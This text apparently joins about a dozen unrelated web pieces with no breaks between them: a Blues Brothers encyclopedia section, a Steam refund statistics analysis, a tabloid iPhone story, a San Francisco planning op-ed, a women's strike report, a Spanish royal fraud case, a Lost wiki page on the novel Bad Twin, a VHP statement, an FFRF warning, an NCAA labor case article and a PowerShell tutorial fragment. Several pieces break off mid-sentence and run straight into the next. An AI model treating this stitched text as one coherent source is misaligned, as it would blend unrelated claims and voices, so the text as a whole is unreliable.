The Blues Brothers has become a staple of late-night cinema, even slowly morphing into an audience-participation show in its regular screenings at the Valhalla Cinema, in Melbourne, Australia.[36] John Landis acknowledged the support of the cinema and the fans by a phone call he made to the cinema at the 10th-anniversary screening, and later invited regular attendees to make cameo appearances in Blues Brothers 2000. The fans act as the members of the crowd during the performance of "Ghost Riders in the Sky".[37]
In August 2005, a 25th-anniversary celebration for The Blues Brothers was held at Grauman's Chinese Theatre in Los Angeles.[38] Attendees included Landis, former Universal Studios executive Thom Mount, film editor George Folsey, Jr., and cast members James Brown, Henry Gibson, Charles Napier, Steve Cropper, and Stephen Bishop. It featured a press conference, a panel discussion where Dan Aykroyd joined by satellite, and a screening of the original theatrical version of the film. The panel discussion was broadcast direct to many other cinemas around the country.
The popularity of the film has also spread overseas. The film was an inspiration for Japanese companies Studio Hibari and Aniplex, which led to the creation of the manga and anime franchise Nerima Daikon Brothers, which contain heavy references to the film.
American Film Institute [ edit ]
Release [ edit ]
Home media [ edit ]
When the film was first screened for a preview audience, a producer demanded that director Landis cut 25 minutes from the film.[42] After trimming 15 minutes, it was released in theaters at 132 minutes. It was first released on VHS and Betamax from MCA Videocassette Inc. in 1983. A Laserdisc from MCA Videodisc was released the same year. It was re-released on VHS, Laserdisc, and Betamax in 1985 from MCA Home Video, and again in 1990 from MCA/Universal Home Video. It was also released in a 2-Pack VHS box set with Animal House. The film's original length was restored to 148 minutes for the "Collector's Edition" DVD and a Special Edition VHS and Laserdisc release in 1998. The DVD and Laserdisc versions included a 56-minute documentary called "The Stories Behind The Making Of The Blues Brothers". Produced and directed by JM Kenny (who also produced the Animal House Collector's Edition DVD the same year), it included interviews with Landis, Aykroyd, members of The Blues Brothers Band, producer Robert K. Weiss, editor George Folsey Jr., and others involved with the film. It also included production photographs, the theatrical trailer, production notes, and cast and filmmaker bios. The 25th-anniversary DVD release in 2005 included both the theatrical cut and the extended version.
The film was released on Blu-ray on July 26, 2011, with the same basic contents as the 25th-anniversary DVD. In a March 2011 interview with Ain't it Cool News, Landis also mentioned he had approved the Blu-ray's remastered transfer.
Soundtrack [ edit ]
Professional ratings Review scores Source Rating AllMusic [43]
The Blues Brothers: Original Soundtrack Recording (later re-released as The Blues Brothers: Music from the Soundtrack) was released on June 20, 1980 as the second album by the Blues Brothers Band, which also toured that year to promote the film. "Gimme Some Lovin'" was a Top 20 Billboard hit, peaking at number 18.[44] The album was a followup to their debut, the live album, Briefcase Full of Blues. Later that year they released a second live album, Made in America, which featured the Top 40 track, "Who's Making Love".[44]
The songs on the soundtrack album are a noticeably different audio mix than in the film, with a prominent baritone saxophone in the horn line (also heard in the film during "Shake a Tail Feather", though no baritone sax is present), and female backing vocals on "Everybody Needs Somebody to Love", though the band had no other backup singers, besides Jake &/or Elwood, in the film. A number of regular Blues Brothers' members, including saxophonist Tom Scott and drummer Steve Jordan, perform on the soundtrack album, but are not in the film.
According to Landis in the 1998 documentary The Stories Behind the Making of 'The Blues Brothers', filmed musical performances by Franklin and Brown took more effort, as neither artist was accustomed to lip-synching their performances on film. Franklin required several takes, and Brown simply rerecorded his performance live. Cab Calloway initially wanted to do a disco variation on his signature tune, "Minnie the Moocher", having done the song in several styles in the past, but Landis insisted that the song be done faithful to the original big-band version.
Certifications [ edit ]
Region Certification Certified units/Sales Australia (ARIA)[45 |
perfect world with perfectly rational customers, where every person that have played the game for less than 2 hours will at least think of requesting a refund from Steam.
How many refunds are we talking about?
The Xpaw of SteamDB did some calculations based on SteamSpy data and what you’re about to read might shock you (Sorry, couldn’t resist):
59% of all paid Steam games have median playtime of less than 2 hours.
That’s 2656 games to be exact. And it only includes games that have been already released — Early Access or otherwise.
Most of the Steam games could be considered short by Steam owns standards
Now it looks scary. And it is scary. But of course those smaller games might be big in numbers, but they don’t sell this well, right?
True, to some extent.
Shorter games sell worse than longer games
We’re still talking about 356 million copies combined of games that have been played for less than 2 hours by an average player. And it doesn’t account for people that bought a game but never bothered to launch it.
Of course you still have 14 days window to request a refund, so it won’t affect most of the already sold games. But it gives you an understanding on how many games could be affected by refunds.
60% of all owned paid games on Steam were either played for less than 2 hours or not played at all,
meaning they should be eligible for refund if players cared enough to request it withing the 14 days of purchase.
60% of owned copies of paid games were technically eligible for refund at some point
This difference between short and long games is also visible in average price.
Shorter games cost almost twice as less
So, yeah, longer games cost almost twice as more and sell twice as much on average compared to shorter ones.
Is it bad?
Well, It depends.
For starters, not all short games are necessarily bad. You might get a satisfying gameplay experience from 1-hour arcade or story-driven game and you might get irritated by long and tedious roguelike or survivalcraft that requires hundreds of hours to master.
It would be interesting to see if most of the short games on Steam are intended to be short or they’re simply bad games.
Turns out — yes, on average short games get lower userscore, but difference isn’t as dramatic as you’d expect.
Shorter games are rated lower, but difference isn’t huge
So, no, shorter games aren’t necessarily all bad.
What’s the takeaway here?
There are a lot of short games on Steam — in fact, most of Steam games could be considered short by Steam own standards.
These games do not sell as well as long games, are rated lower and cost less, but nevertheless, they account for 37% of all game copies owned on Steam.The video will start in 8 Cancel
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People are usually desperate to get their hands on the latest Apple product.
But it could be argued that this woman has gone to extreme lengths in an attempt to secure herself an iPhone 6s.
After reportedly failing to persuade her boyfriend to buy her the latest gadget, the woman, who was caught on camera in a shopping centre in China, decided she had only one option.
(Image: YouTube)
And that option was to strip completely naked in front of hundreds of other shoppers.
In the clip, the woman can be seen exchanging words with her partner before tearing her clothes off and throwing them onto the floor.
(Image: YouTube)
Her unimpressed boyfriend walks away, but she soon follows, pushing him several times.
It is not clear how the argument ended - or whether the woman ever ended up getting her hands on the iPhone 6s.
The clip was uploaded to YouTube on September 20 and has clocked up more than 1.2 million views.If you listened to a transistor radio in 1966, like I did, you heard James Brown sing, “This is a man’s world.” The song drove many to fight male chauvinism. If it was written in today’s San Francisco, Brown might instead sing, “This is a millennial’s world.”
San Francisco in 2015 is being planned by and for people in their 20s and 30s. Take a look around City Hall and you’ll see mostly young people staffing government and city agencies. Maybe it takes a certain youthful enthusiasm to deal with an irascible public, powerful special interests and noisy opponents.
The San Francisco millennials are designing is one that meets their needs, wants and expectations. Unfortunately, it’s also making life harder for older San Franciscans.
Two years ago, San Francisco considered a Bus Rapid Transit plan for Van Ness Avenue. A key aspect was the consolidation of stops to speed up the route. People might have to walk a few more blocks to get to a bus stop, planners said, but that shouldn’t be a problem.
Except that one of the stops planners wanted to remove was near a senior center, and the few more blocks its members had to walk were uphill. For many of the seniors, the new stop might as well have been a mile away.
The City eventually put the stop back into the plan, albeit grudgingly. But it never should have been removed in the first place. City planners were so focused on saving 15 seconds of transit time, they didn’t look for nearby seniors or uphill walks.
Or consider the ongoing tension between bikes and cars. A bike is a great way to get around when you’re young and fit. But as you get older, it gets harder to ride safely. You might discover that you can’t turn your head as far to the side to see what’s coming up behind you as you once could. The fear that even a minor spill could result in a broken hip keeps many seniors off bikes.
As you get older, you just can’t carry as much as you once could, so taking the bus to shop becomes harder. Uber, Lyft or ride-hail companies get expensive, if used frequently. Is it any wonder many Baby Boomers prefer to drive?
Yet San Francisco’s many millennial policy makers have decided to restrict cars in favor of bikes on many city streets, reduce parking and consolidate bus stops. While the planners’ young friends enjoy the bike lanes and faster transit, my fellow Baby Boomers and I have more and more difficulty getting around The City.
After working here for a few years, many of San Francisco’s young city staffers will likely move somewhere else, either for a job, family or just because they’re young and want to see more of the world. As they age, they won’t have to live with the consequences of the policies they are crafting in San Francisco today.
When they finally do get older, millennials who stay in San Francisco may well find themselves singing a different tune when they discover they designed a city that makes few accommodations for seniors like themselves.
No one wants to think about growing old. Certainly Baby Boomers didn’t when we were young. But 30 years goes by faster than you expect, and suddenly you’re gray-haired with bad knees. The same thing will happen to millennials. They should do what they can to ensure The City they design today will still work for them when they’re our age.
The line that follows “This is a man’s world” in Brown’s song is, “but it wouldn’t be nothing without a woman or a girl.” In today’s San Francisco, it could be, “This is a millennial’s world, but it wouldn’t be nothing without the seniors who paved the way.”
Click here or scroll down to commentWomen who took to the streets Jan. 21 in the U.S. and around the world in a massive show of solidarity and resistance against President Trump’s anti-woman agenda have been asking: Where do we go from here?
A bold call for women in the U.S. to join a global women’s strike on International Women’s Day, March 8, provided the answer. The call, issued on Feb. 6, was initiated by a diverse group of eight politically active women in the U.S., including Angela Davis and Rasmea Yousef Odeh. It praised the new wave of militant feminist struggle. But they made it crystal clear it cannot be based on so-called “corporate feminism.” It must be inclusive, “feminism for the 99%.” (guardian.co.uk)
The statement noted: “[I]t is not enough to oppose Trump and his aggressively misogynistic, homophobic, transphobic and racist policies. … Women’s conditions of life, especially those of women of color and of working, unemployed and migrant women, have steadily deteriorated over the last 30 years.”
The call then cited recent struggles for women’s rights around the world: in Poland against the abortion ban, in Latin America against male violence, in Italy for labor rights and in south Korea and Ireland in defense of reproductive rights. “Together, they herald a new international feminist movement with an expanded agenda: at once anti-racist, anti-imperialist, anti-heterosexist and anti-neoliberal.”
Urging women in the U.S. to join with feminist groups in at least 30 countries who are already organizing the strike, the statement declared: “The idea is to mobilize women, including trans women, and all who support them in an international day of struggle — a day of striking, marching, blocking roads, bridges, and squares, abstaining from domestic, care and sex work, boycotting, calling out misogynistic politicians and companies, striking in educational institutions.”
Organizing in the U.S.
Progressive women in the U.S. eagerly responded to the call. Posted on womenstrikeus.org is the strike platform: “In a spirit of solidarity and internationalism, in the United States, March 8 will be a day of action organized by and for women who have been marginalized and silenced by decades of neoliberalism directed toward working women, women of color, Native women, disabled women, immigrant women, Muslim women, lesbian, queer and trans women. … [We are organizing] resistance not just against Trump and his misogynist policies, but also against the conditions that produced Trump, namely the decades-long economic inequality, racial and sexual violence, and imperial wars abroad.”
The platform lists six “common principles”: an end to gender violence both domestic and institutional; reproductive justice for all, cis and trans; labor rights, including equal pay that adequately provides for families; full “social provisioning,” including universal health care, adequate Social Security and free education for all; for an anti-racist and anti-imperialist feminism, which supports all struggles against police brutality and mass incarceration; and environmental justice for all that seeks to end profits before people.
Though the call was issued only a month before the strike, groups from coast to coast have started meeting and organizing. About 35 groups are already listed on the website, along with the endorsement of the J21 Women’s March on Washington.
In New York City students at the New School have been holding planning meetings to shut down the college. More than 100 young activists met in Brooklyn on Feb. 18 and announced a rally at Washington Square Park at 4:00 p.m., with a march at 5:00 p.m. The route will pass various landmarks including the Triangle Shirtwaist Fire site, where 146 mostly young immigrant women died in 1911; Stonewall Inn, where the fight for LGBTQ rights was elevated in 1969; and the offices of Wall Street icon Goldman Sachs. The march will end at Zuccotti Park, the 2011 site of the anti-capitalist Occupy Wall Street encampment.
In Baltimore the newly organized Women’s Fightback Network has issued a call under the banner of “Women Unite to Fightback.” They are urging women to call in sick to their jobs, don’t go to school and don’t shop. An inclusive rally will start at 3:00 p.m. at the People’s Park, where speakers will address ending racism, sexism, LGBTQ bigotry, all forms of inequality and injustice and demand workers’ and immigrant rights. Activists will then march to the women’s jail to show support for the incarcerated women and call for an end to the prison-industrial complex. Then they will march to the Douglass Houses, where organizers will discuss their efforts to stop the privatization of public housing.
While the International Working Women’s Day Coalition in New York City plans to participate in the March 8 strike, the group will also continue its yearly tradition of holding a street meeting and an organizing roundtable luncheon, scheduled this year for March 11. Uniting many diverse, multinational, multigenerational progressive women’s groups in New York under the banner “Women in Rebellion: To Resist Is Justified,” the IWWD Coalition will gather at noon in the bustling shopping area of Herald Square. Among their targets will be fast food restaurants, where many working women of color are fighting for $15 and a union.
After a march down Seventh Avenue past other targets, the activists will gather at a hall at 135 W. 23rd St. for the roundtable luncheon. Speakers from different groups will share their organizing goals, their victories and setbacks, and the lessons they have learned, along with how Trump has ignited their activism. The event is designed to promote the program, which includes demands for union jobs with equal pay; quality, affordable housing; free health care and education for all; the right to reproductive justice, including paid maternity and family medical leave; and an end to racism towards Muslim, Indigenous, Latinx, African American, Arab and Asian women; anti-LGBTQ bigotry; and sexual abuse and violence. Go to Facebook/International Working Women’s Coalition for more information.MADRID — Iñaki Urdangarin, the brother-in-law of King Felipe VI of Spain, was sentenced to prison on Friday in a business fraud case that represented a major embarrassment to the country’s monarchy, even though the king’s sister, Princess Cristina, was found not guilty.
A regional court on the island of Majorca sentenced Mr. Urdangarin to six years and three months in prison, far less than the 19 and a half years sought by the prosecution, for his business dealings relating to the disbursement of millions of dollars of public funds for sporting events.
In January 2016, Princess Cristina became the first member of Spain’s royal family to stand trial in modern history, after the authorities began looking into Mr. Urdangarin’s business practices in 2011. The police raided the offices of his nonprofit foundation, the Nóos Institute, as part of an investigation initially prompted by huge cost overruns for the construction of a cycling track on Majorca.
Mr. Urdangarin — who was found guilty on several counts, including fraud, document falsification, tax evasion and influence peddling — was among 18 defendants on trial. He and his business partners were accused of embezzling about 6 million euros, or $6.4 million at current exchange rates, that had been distributed by regional officials for organizing sports events.For the character, see The Man in Black.
Bad Twin is a book in the Lost universe, released as a real life semi-canonical tie-in novel. It is available in hardcover and audiobook. Authorship is credited to the fictional Gary Troup; the actual ghostwriter was revealed to be Laurence Shames. Read More
Hyperion Publishers tout the book as "a suspenseful novel that touches on many powerful themes, including the consequence of vengeance, the power of redemption, and where to turn when all seems lost."
The book centers on Paul Artisan, a private investigator who suddenly finds himself hired by a high-profile member of the Widmore dynasty, Clifford Widmore, to search for his identical twin, Alexander. Alexander was always seen as the bad apple, the bad twin, but Artisan soon discovers there is more to the Widmore family than meets the eye.
Contents show]
Publisher's summary
Sawyer reading the manuscript of Bad Twin.
"Sometimes evil has a familiar face..."
Paul Artisan, P.I. is a new version of an old breed -- a righter of wrongs, someone driven to get to the bottom of things. Too bad his usual cases are of the boring malpractice and fraud variety. Until now.
His new gig turns on the disappearance of one of a pair of twins, adult scions of a rich but tragedy-prone family. The missing twin -- a charismatic poster-boy for irresponsibility -- has spent his life daring people to hate him, punishing himself endlessly for his screw-ups and misdeeds. The other twin -- Artisan's client -- is dutiful and resentful in equal measure, bewildered that his "other half" could have turned out so badly, and wracked by guilt at his inability to reform him. He has a more practical reason, as well, for wanting his brother found: their crazy father, in failing health and with guilty secrets of his own, will not divide the family fortune until both siblings are accounted for.
But it isn't just a fortune that's at stake here. Truth itself is up for grabs, as the detective's discoveries seem to challenge everything we think we know about identity, and human nature, and family. As Artisan journeys across the globe to track down the bad twin, he seems to have moved into a mirror-world where friends and enemies have a way of looking very much alike. The P.I. may have his long-awaited chance to put his courage and ideals to the test, but if he doesn't get to the bottom of this case soon, it could very well cost him his life.
"Troup's long-awaited Bad Twin is a suspenseful novel that touches on many powerful themes, including the consequence of vengeance, the power of redemption, and where to turn when all seems lost."
Detailed synopsis
Paul Artisan is a small-time NYC private investigator who is not confident if he has the talent and dedication to expand his professional aspirations beyond their current scope. He gets a surprise visit one day from a well-dressed and aloof man he learns is Clifford Widmore, one of the heirs of the wealthy and influential Widmore dynasty. His twin brother (Alexander, nicknamed "Zander") has gone missing, and Cliff wishes to hire Paul to find him. Zander is known for his passionate, maverick style, which at times brings him in contact with shady dealings, and everyone who knew him seems to believe this is what got him in trouble. Though they are identical twins, they are as different as night and day, with Clifford known as the more straight-laced, responsible, and cold one. He is also the CEO of Widmore Corp., which his father, Arthur--an eccentric and opinionated (but benevolent) elderly man--heads.
With such a high-profile potential client on the line, Paul begins to doubt himself and goes to his older best friend and mentor, Manny Weissman, for advice. Manny is a philosophical intellectual, who frequently quotes literature and advises through metaphorical stories, while taking walks with Paul and Argos (the dog that the two of them "share").
Paul chases leads about Zander all over the world, from Cape Cod, to Key West, to Cuba, to Luna Valley (Cal.), to the coast of Australia. Along the way, he meets colorful characters, such as Zander's pot-smoking friend "Moth", a yoga instructor Zander was once involved with named Sky, a crusty boat captain named "Crunch", Clifford's pill-popping wife Shannon (who also apparently loved Zander), and Elio, the founder of a cult-like nudist colony called the Helios Foundation. Many give Paul hints on where to chase Zander's trail next, but some are either killed or threatened with death along the way.
While flying to Australia via Oceanic Airlines, he sits next to a woman named "Pru" (short for Prudence), and they instantly hit it off. Paul and Pru end up having a fling once they get to the hotel, but upon wakening, Paul sees that she has a gun in her purse, and confronts her with her lies. Pru then admits that she is also a P.I. for a large firm called Intercontinental, and that she was once hired to tail Vivian Widmore, the nymphomaniac, ambitious younger wife of the family patriarch (she had even tried to seduce Paul on their first meeting). Vivian was suspected of having an affair with a man nicknamed "Mr. Thursday". Pru relates that she was then hired to follow Paul and make sure he didn't come too close to finding Zander. Paul then realizes he was set up by Clifford for failure, and hired simply because they had profiled him as someone who didn't have the gumption and commitment to succeed in his mission. This angers and focuses Paul on the task of proving himself. He and Pru agree to work together to find out the truth.
Lizard Island, Great Barrier Reef, Australia.
They follow Zander's trail to Lizard Island in the Great Barrier Reef, where they learn Zander was pursuing a start-up business in black pearl farming when he was last heard from. They masquerade as a honeymooning couple looking for real estate, and find Zander himself under the alias "Cameron Purdue". When they go out on his boat together, all three barely escape being killed by assassins. Paul and Pru then reveal themselves to Zander, and tell him his life is in danger. They convince Zander to fly back to NYC with them.
When they arrive back in the States, they learn Clifford has been recently killed during a 'robbery'. Zander is reunited with his aging father, and they go to Clifford's funeral. At the funeral, a car comes out of nowhere and starts shooting everyone. Paul and Pru return fire and kill the shooter, who turns out to be Vivian's first husband, a mafia boss named Monty Alban. He was Mr. Thursday, the man Pru was sent to uncover. He and Vivian had planned to kill off the Widmores one by one to get at their money.
It turns out that Zander was not such a "bad twin" after all, just misunderstood. Manny suspected the elder Widmore had been planning to leave all his money to him (as the eldest born twin, by a matter of minutes), according to Scottish tradition. Manny was wrong, and the inheritance was to be split with the exception of a small portion going to Vivian. However, Zander had planned to invest his money in the pearl farm with the profits going to the indigenous Australians who ran it and donate the rest of his inheritance to a Cuban medical relief aid. By liquidating his stock in the family company, Zander would have left the Widmore family with not enough control of their company, and Cliff would have lost his position as CEO. This had made him a target for his Cliff. In the end, Vivian goes to jail for her plotting, and Paul and Pru end up together.
Meta-fictional characters
These significant characters are so far only known to exist within the fiction of the book (see crossovers section for very minor characters that reference Lost). They may be based on other Lost-related characters, or may be completely fictional constructs.
Locations
Crossovers from Lost
This book mentions several corporations and people that are mentioned on the television show and/or The Lost Experience.
Corporations/organizations
Widmore Corporation Same international, mysterious company as referenced in show, led by main characters in the book. Undetailed reference in the book as to the purpose of company. The Hanso Foundation Very briefly mentioned in the book. As Paul steps out of the elevator on the wrong floor (42nd), he sees an immaculately sterile laboratory and reception desk, and is quickly redirected. No details given as to what exactly the Hanso/Widmore ties are, except the board of directors cross-pollination (below) and the sharing of building space. Paik Industries Very briefly mentioned that Zander was almost employed by a man named Paik; other vague references to "Korean projects". Oceanic Airlines Very briefly mentioned in the book. Airline that flew Paul and Pru to Australia; no other references (aside from Cindy, below). Mr. Cluck's Chicken Shack Very briefly mentioned in the book. Paul ate there in California; no other references.
Characters
Other crossovers
“ As with every island, there was something slippery and mysterious about Peconiquot. It was connected to the larger world, but then again it wasn't. It had a logic of its own, a highly local mythology that made perfect sense within its confines yet fitted uneasily with the mind-habits of the world beyond its boundaries...being an island, and a small one at that, it was also a place where people were easy to find. ”
A conversation on the plane back:
“ Zander: There are certain things I believe in – like Good and Evil… the hard part is, you don’t only choose just once… most of us have to keep choosing, day in, day out. Year in, year out. Good or bad, which way am I going to go… Paul: That’s the idea of purgatory, right? Zander: What if there is no purgatory… What if there is no heaven? No hell either? No afterlife at all… This is our chance to get it right. First chance, last chance, only chance. But that’s exciting, beautiful, right?… Our work in this life is to choose good over evil. To be fair. To be kind. And there is a payoff, though it doesn’t have to do with harps and wings. The payoff is peace of mind. That’s what redemption really is. ”
In the pilot of JJ Abram's new series 'Fringe' there is a 'bad twin'. It would be unfair to say any more as it maybe construed as a spoiler for that series.
In Lost
When Sawyer tried to postpone Jack's demand for the stolen guns ("Cool your damn jets and walk around the coconut trees; I've got, like, 10 pages left"), Jack burned the pages that would have revealed the ending ("Two for the Road").
Jack had no way of knowing whether the manuscript had been published or whether its author had been killed.
Apparent anachronism
The note from the editors indicated that the author was lost when Oceanic Flight 815 crashed in September 2004. However, page 204 of the book details the main character learning of the cessation of Scottish feudalism on 28 November 2004 (the factual, real-world date).
This is however only an apparent anachronism, since the "appointed day" for the end of feudalism had been set well in advance, in 2002 (see page 2 of linked PDF).
The Lost Experience Connections to
Thehansofoundation.org website
Thehansofoundation.org updated its site with an entry dated Fri 12/05/06 (May 12, 2006) entitled: "Don't Believe Bad Twin". The entry is linked to a press release, whose contents are below:
Newspaper Advert placed by the Hanso Foundation
“ A MESSAGE FROM HUGH MCINTYRE, DIRECTOR OF COMMUNICATIONS AT THE HANSO FOUNDATION Don't Believe "Bad Twin" For over thirty years, the Hanso Foundation has stood for compassion and innovation, but today, our reputation has been attacked in the novel "Bad Twin", written by Gary Troup and published by Hyperion books. Throughout the pages of "Bad Twin", readers have found numerous passages featuring misinformation about the Hanso Foundation and its partners. The Hanso Foundation strongly objects to the book "Bad Twin", and encourages readers to make up their own minds. The truth about the Hanso Foundation is available at www.TheHansoFoundation.org and not on the pages of Gary Troup's "Bad Twin". Experience it for yourself. Thank you, and namaste. (Hanso Foundation Logo: Reaching out to a better tomorrow) ”
A photocopied image with an identical message appears on letyourcompassguideyou.com.
A letter later linked during the Lost Experience also implied that the Hanso Foundation were planning to sue Hyperion books for printing the novel. The letter can be viewed here.
Coded correspondence
During the DJ Dan live broadcasts, Malik phoned in, leaving a coded message for protagonist Rachel Blake. He quoted a series of numbers, which turned out to be page numbers from the Bad Twin novel. For each number, the first letter on the page replaced the digits, creating the message "I know where he is, I can set it up!"
There is some apparent friction between the Lost writers/producers and Shames (either due to inconsistent inclusion of the plot as spin-off canon or writing style), as evidenced by comments made to Variety:
“ Insiders say writers on "Lost" were asked to provide a list of elements that Shames could incorporate into the novel. But the author had his own vision and wound up including only a few of the elements. ”
“ Show staffers also were frustrated that the book referenced copyrighted elements for which the publisher had not sought clearances, saying it would make it difficult to use those elements on-air. ”
Additionally, the writers make occasional cracks about the novel, such as in this from the 10/30/06 podcast:
“ Carlton Cuse: OK. So that was a very candid answer to number one, there's just two more. "Was the turbine man from the Pilot Gary Troup, author of Bad Twin?" Damon Lindelof: Yes. Carlton Cuse: It was indeed. Damon Lindelof: And considering that I have now read Bad Twin, [Laughs] Gary Troup got exactly what he deserved. [Carlton laughs] Next! ”
Finally, Carlton Cuse stated that the novel "had not met their bar" at the Lost panel during the Promax|BDA 2007 conference. [1] Audio from panel
Translations
Elsa Frogner translated this book to Norwegian.
The Norwegian title is "Ond Tvilling".
It is released on Dinamo forlag.
The ISBN is 82-8071-148-1.Lashing out at PM, VHP chief Pravin Togadia said that instead of applauding the ‘simple Gau Rakshaks’ for their efforts, Modi termed 80 per cent of them “anti-social”. (Source: PTI)
Attacking Prime Minister Narendra Modi for his cow vigilante remarks, Vishwa Hindu Parishad (VHP) on Saturday said that Modi’s move to ask state governments to create dossiers of cow vigilantes amounts to ‘racial profiling’. The VHP also demanded for creation of a ‘gau mantralya’ (ministry of cows) and enacting a law to protect cows. Lashing out at PM, VHP chief Pravin Togadia said that instead of applauding the ‘simple Gau Rakshaks’ for their efforts, Modi termed 80 per cent of them “anti-social”. The right wing leader said that Modi not only insulted gau mata (mother cow) but Hindus also, as well as all those who gave their lives to protect cows.
“The head of the nation asking all states to create dossiers on gau rakshaks means racial profiling of a particular community — the Hindus, in this case, because Hindus give their lives to protect cows. Special dossiers are made on terrorists, serial rapists. Here, the dossiers are being made on Hindu rakshaks (protectors), but not on cow killers,” Togadia said.
Expressing “utmost dissatisfaction and agony”, he said that the right wing organisation will provide all help to the “law-abiding gau rakshaks” and take care of their families if they are “targeted by state governments”. Backing his remarks, VHP general secretary Surendra Jain said that most states have laws against cow slaughter, vigilantes would not have hit the streets had they been implemented.The Freedom From Religion Foundation is warning Milwaukee parents about an evangelical offensive.
The freethought organization is partnering with Protect Our Children and Southeast Wisconsin Freethinkers to alert parents and community members that a two-week invasion of evangelical missionaries targeting children is beginning in the greater Milwaukee area.
Each summer, Good News Across America, a national children's outreach sponsored by Child Evangelism Fellowship, targets the children of a different U.S. city for evangelism. In the past, the Fellowship has sent missionaries specially trained to evangelize children to Chicago, the Twin Cities, and Indianapolis. This summer, it is descending on Milwaukee.
The Child Evangelism Fellowship will lead local churches in recruiting children as young as 5 years old to join its 5-Day Clubs. It only partners with fundamentalist "bible-believing" churches (mainstream Christian churches like Episcopalians or Presbyterians are not welcome). These local churches pay a fee to the Fellowship for training and materials, agree to use its teaching materials exclusively, and sign onto its 15-point Statement of Faith (with beliefs like biblical inerrancy, salvation not by good deeds but by faith alone, and the damnation of unbelievers to the Lake of Fire for conscious, eternal torture). In exchange, the Child Evangelism Fellowship offers local churches the opportunity to recruit "unchurched" elementary school children and their parents.
The 5-day Clubs, which pop up in "parks, community centers, day cares, apartment complexes, wherever children gather" use "fun games, tasty snacks, and cool prizes," quoting from the Fellowship's online materials, to entice children into a fundamentalist Christian bible study. They are shamed for being sinners, then expected to memorize bible verses, listen to bible and missionary stories and begin evangelizing their friends and family.
FFRF and other groups, such as Protect Our Children, are deeply concerned about the deceptive, controversial tactics that the Fellowship uses to lure children to both its 5-Day Clubs and Good News Clubs. These clubs give the impression that they are operated by local churches and staffed by caring volunteers, but local churches are not free to teach what they wish. They are trained by the Child Evangelism Fellowship and required to use its curriculum.
These 5-Day Clubs, like the Good News Clubs, emphasize sin and the fact that children are sinners. The clubs shame and frighten children by telling them they're bad, they're sinners, and that they don't deserve God's love. The clubs claim the only way to escape the terrible punishment they deserve is to believe what the club tells them and to do what the club tells them to do.
FFRF encourages local citizens to observe and document the activities of 5-Day Clubs that spring up in their community, so parents are not deceived about the clubs' true nature and purpose.
You can find out more about the Child Evangelism Fellowship at the Protect Our Children website.
The Freedom From Religion Foundation is a Wisconsin-based national nonprofit organization with more than 29,000 nonreligious members across the country, including 1,200-plus in Wisconsin. Its purpose is to protect the constitutional principle of separation between state and church.The legal issue may be specific to the Texas courts -- statutes vary from state to state -- but if Waldrep wins, the decision could become the first step in redefining college athletes as a labor force entitled to basic employee rights. That would start a revolution in college sports, which for years have been presided over by the National Collegiate Athletic Association, the not-for-profit group that is shielded from business income taxes, antitrust scrutiny and a variety of labor practices such as collective bargaining. For Waldrep, the case is not about money but about keeping promises.
In March 1993, the Texas' Workers Compensation Commission found that he was indeed an employee and awarded him $70 a week for life and medical expenses dating to the accident. Under Texas law, however, that administrative board's decision could be appealed, starting the process over in district court.
T.C.U.'s insurance carrier -- Texas Employers Insurance Association in Receivership -- appealed the decision. No money was paid, and Waldrep said he has no intention of settling.
He said T.C.U. coaches sat in the family's living room during the recruiting process and told his parents that if anything ever happened to him the university would be responsible. But T.C.U. did not have insurance and refused liability, said Waldrep, whose initial $35,000 in medical expenses came from public donations.
It was not until 1991 that all Division I athletic programs carried catastrophic insurance and that the N.C.A.A. used some of its Final Four basketball revenue to cover the cost.
''I want someone to step up and say we made a mistake with Kent Waldrep and we need to set that right,'' Waldrep said in a recent interview. But more importantly, I want the N.C.A.A. to admit that they've made a mistake all these years by not protecting the kids who bring in the millions of dollars and make college athletics possible. It's the right thing to do.''
In a broader context, Waldrep's case challenges the N.C.A.A.'s ability to view itself simultaneously as an academically oriented amateur sports organization and a revenue-producing business, according to Allen L. Sack, a professor of management at the University of New Haven in Connecticut. ''It's a pure court challenge to the N.C.A.A.'s amateur mythology,'' said Sack, who played football at Notre Dame and has written frequently on college athletics.
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''The question is not should athletes be paid,'' he said. ''They already are, with a salary cap, which is now tuition, room, board and fees. Now the issue is, should they be paid more?
''This case could change that cap. If an athlete is an employee, why can't he or she endorse a product, be involved with a sponsor, do what their coaches do? This could be the beginning of a labor market.''
The N.C.A.A. is aware of the significance of the case, according to a spokesman, Wally Renfro, but has yet to become involved. A ruling in favor of Waldrep could open challenges to the N.C.A.A.'s not-for-profit status, as well as privileged legal and tax considerations that are accorded amateur sports organizations. ''It's a very important issue,'' Renfro said.
Waldrep's lawyer, John Collins, said he would argue three simple points to prove that the running back was an employee: that T.C.U. had a written contract with Waldrep, that the university paid him, and that the university had the right of control.
''They had a contract,'' said Collins, who is based in Dallas and has served on the National Football League Players Association workers compensation panel. ''In addition to tuition, room, board and fees, they handed him $10 a month cash money for laundry.
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in to a script block that we can pass to our future threads. To do this we need to change the default $OFS (Object Field Separator), for more understanding here, please read my other post!
Okay, so the next step is to start receiving items from the pipeline. We can do this by starting the process block. Note that the process block is executed for each item we find in the pipeline. Meanwhile, if you did not execute in the pipeline it is executed once for the script as a whole. What this means is that we need to assume that $ObjectList will either be a single item or multiple items. The best way to do that is to use a ForEach Loop.
